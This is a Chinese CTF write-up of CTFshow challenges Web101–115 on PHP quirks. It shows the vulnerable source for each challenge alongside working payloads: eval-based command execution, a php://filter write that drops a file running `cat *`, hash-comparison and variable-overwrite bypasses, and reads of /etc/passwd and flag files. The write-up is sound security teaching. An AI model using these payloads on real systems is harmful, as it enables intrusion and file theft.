【CTFshow php特性 Web101-115】2021.8.30 CTFshow刷题

本文最后更新于:2021年8月30日晚上6点05分

Web101

修补100题非预期,替换0x2d

打开题目:

image-20210830141730982

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

利用PHP的反射类Reflectionclass

payload如下:

1
?v1=0&v2=echo new Reflectionclass&v3=;

image-20210830143057806

将得到的flag的0x2d替换为减号,然后爆破一下最后一位。

官方Hint:

1
?v1=1&v2=echo new Reflectionclass&v3=;

替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位

Web102

换个姿势

打开题目:

image-20210830143213990

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

这一题要求v2是数字,并且把v2的第三位数字开始写入到文件名为v3的文件中。

这里介绍一个神奇的字符串

1
5044383959474e6864434171594473

这一个字符串is_numeric函数返回是true,因为只包含e数字,并且该字符串转十六进制结果如下:

1
PD89YGNhdCAqYDs

再base64解码一下:

1
<?=`cat *`;

可以看到这里有一个短标签的内敛执行。

然后我们往v1里面传hex2bin,将十六进制转换为ASCII字符,在通过php伪协议控制v3,进行base64解码,就可以读取当前目录下所有文件内容了。

payload如下:

1
2
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POSTDATA: v1=hex2bin

然后访问1.php即可得到flag

官方Hint:

1
2
3
4
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST v1=hex2bin
#访问2.php后查看源代码获得flag

Web103

换个姿势

打开题目:

image-20210830150045538

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>

和上一题一样的payload,虽然多过滤了php,但是上面的payload用的是短标签,所以过滤了个寂寞

1
2
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POSTDATA: v1=hex2bin

访问2.php即可得到flag

官方Hint:

1
2
3
4
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST v1=hex2bin
#访问2.php后查看源代码获得flag

Web104

换个姿势

打开题目:

image-20210830150526661

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}



?>

sha1绕过:

1
2
?v2=aaK1STfY
POSTDATA: v1=aaroZmOk

甚至v1和v2提交的都一样也可以:

1
2
?v2=1
POSTDATA: v1=1

用数组也是可以的:

1
2
?v2[]=1
POSTDATA: v1[]=1

官方Hint:

1
2
3
4
5
#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

Web105

换个姿势

打开题目:

image-20210830151121199

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

变量覆盖套娃题,payload如下:

1
2
?suces=flag
POSTDATA: error=suces

官方Hint:

1
2
考察:php的变量覆盖 
payload: GET: ?suces=flag POST: error=suces

Web106

换个姿势

打开题目:

image-20210830152449686

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}



?>

可以用数组绕过:

1
2
?v2[]=2
POSTDATA: v1[]=1

或者利用sha1加密后为0e绕过:

1
2
?v2=aaK1STfY
POSTDATA: v1=aaroZmOk

官方Hint:

Web107

换个姿势

打开题目:

image-20210830152720030

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}



?>

parse_str函数:把查询字符串解析到变量中。

例如:

1
2
3
4
<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>

返回:

1
Array ( [name] => Bill [age] => 60 )

payload如下:(其中md5(1)=c4ca4238a0b923820dcc509a6f75849b

1
2
?v3=1
POSTDATA: v1=flag=c4ca4238a0b923820dcc509a6f75849b

官方Hint:

1
2
GET: ?v3=240610708 
POST: v1=flag=0

Web108

换个姿势

打开题目:

image-20210830153256227

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>

ereg函数存在NULL截断漏洞,所以可以用%00绕过:

1
?c=a%00778

官方Hint:

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

1
?c=a%00778

Web109

换个姿势

打开题目:

image-20210830154728933

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

这题利用exception异常处理类来达到rce的目的

1
?v1=Exception&v2=system('tac fl36dg.txt')

带入其实就是:

1
eval("echo new Exception(system('tac fl36dg.txt')());");

exception异常处理类的介绍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Exception {

/* 属性 */

protected string $message;

protected int $code;

protected string $file;

protected int $line;

/* 方法 */

public __construct([ string $message = ""[, int $code = 0[, Throwable $previous = NULL]]] )

final public string getMessage( void)

final public Throwable getPrevious( void)

final public int getCode( void)

final public string getFile( void)

final public int getLine( void)

final public array getTrace( void)

final public string getTraceAsString( void)

public string __toString( void)

final private void __clone( void)
}

以下示例代码可以显示phpinfo页面:

1
2
3
<?php

echo new Exception((phpinfo()));

官方Hint:

Exception 异常处理类 http://c.biancheng.net/view/6253.html

1
2
payload: ?v1=Exception&v2=system('cat fl36dg.txt') 
?v1=Reflectionclass&v2=system('cat fl36dg.txt')

Web110

我报警了

打开题目:

image-20210830162328396

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

利用filesystemiterator自带类,得到文件fl36dga.txt

1
?v1=filesystemiterator&v2=getcwd

具体的使用方法另开一篇文章阐述。这里就直接给出payload。

官方Hint:

考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件

http://phpff.com/filesystemiterator

https://www.php.net/manual/zh/class.filesystemiterator.php

getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd

Web111

变量覆盖

打开题目:

image-20210830165244734

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}





}

?>

因为var_dump是在方法内的,无法得到外部的flag变量的值,所以这里我们是用GLOBALS获取全局变量拿到我们的flag值

1
?v1=ctfshow&v2=GLOBALS

官方Hint:

考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量

payload: ?v1=ctfshow&v2=GLOBALS

Web112

函数绕过

打开题目:

image-20210830170733896

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

可以通过伪协议绕过is_file函数

1
?file=php://filter/resource=flag.php

具体原理如下:

1
2
3
<?php
var_dump(is_file("/etc/passwd")); //返回bool(true)
?>
1
2
3
<?php
var_dump(is_file("php://filter/resource=/etc/passwd")); //返回bool(false)
?>

同时,is_file还存在目录溢出漏洞:

1
2
3
4
5
<?php
$a = "/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/etc/passwd";
var_dump(is_file($a));
highlight_file($a);
?>

输出结果如下:

image-20210830173322358

官方Hint:

1
2
3
4
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

Web113

函数绕过

打开题目:

image-20210830171844619

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

同样还是利用协议绕过:

1
?file=compress.zlib://flag.php

官方Hint:(利用了目录溢出)

1
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

Web114

函数绕过

打开题目:

image-20210830173430524

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

这题没有过滤filter,所以可以用伪协议:

1
?file=php://filter/resource=flag.php

官方Hint:

1
payload: php://filter/resource=flag.php

Web115

函数绕过

打开题目:

image-20210830174421586

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

一个一个慢慢试,可以用换页符绕过(%0c)

1
?num=%0c36

官方Hint:

1
2
payload:num?%0c36
%0c==\f